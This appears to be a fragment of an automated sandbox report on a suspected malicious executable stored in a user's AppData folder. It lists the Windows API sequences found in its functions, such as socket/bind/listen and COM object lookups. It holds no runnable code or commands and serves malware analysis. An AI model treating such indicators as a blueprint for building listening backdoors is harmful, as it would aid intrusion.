Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, | 2_2_004652BE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, | 2_2_00476619 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 2_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject, | 2_2_0046CEF3 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, | 5_2_004652BE |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, | 5_2_00476619 |
Source: C:\Users\user\AppData\Local\croc\Glagolitic.exe | Code function: 5_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject, | 5_2_0046CEF3 |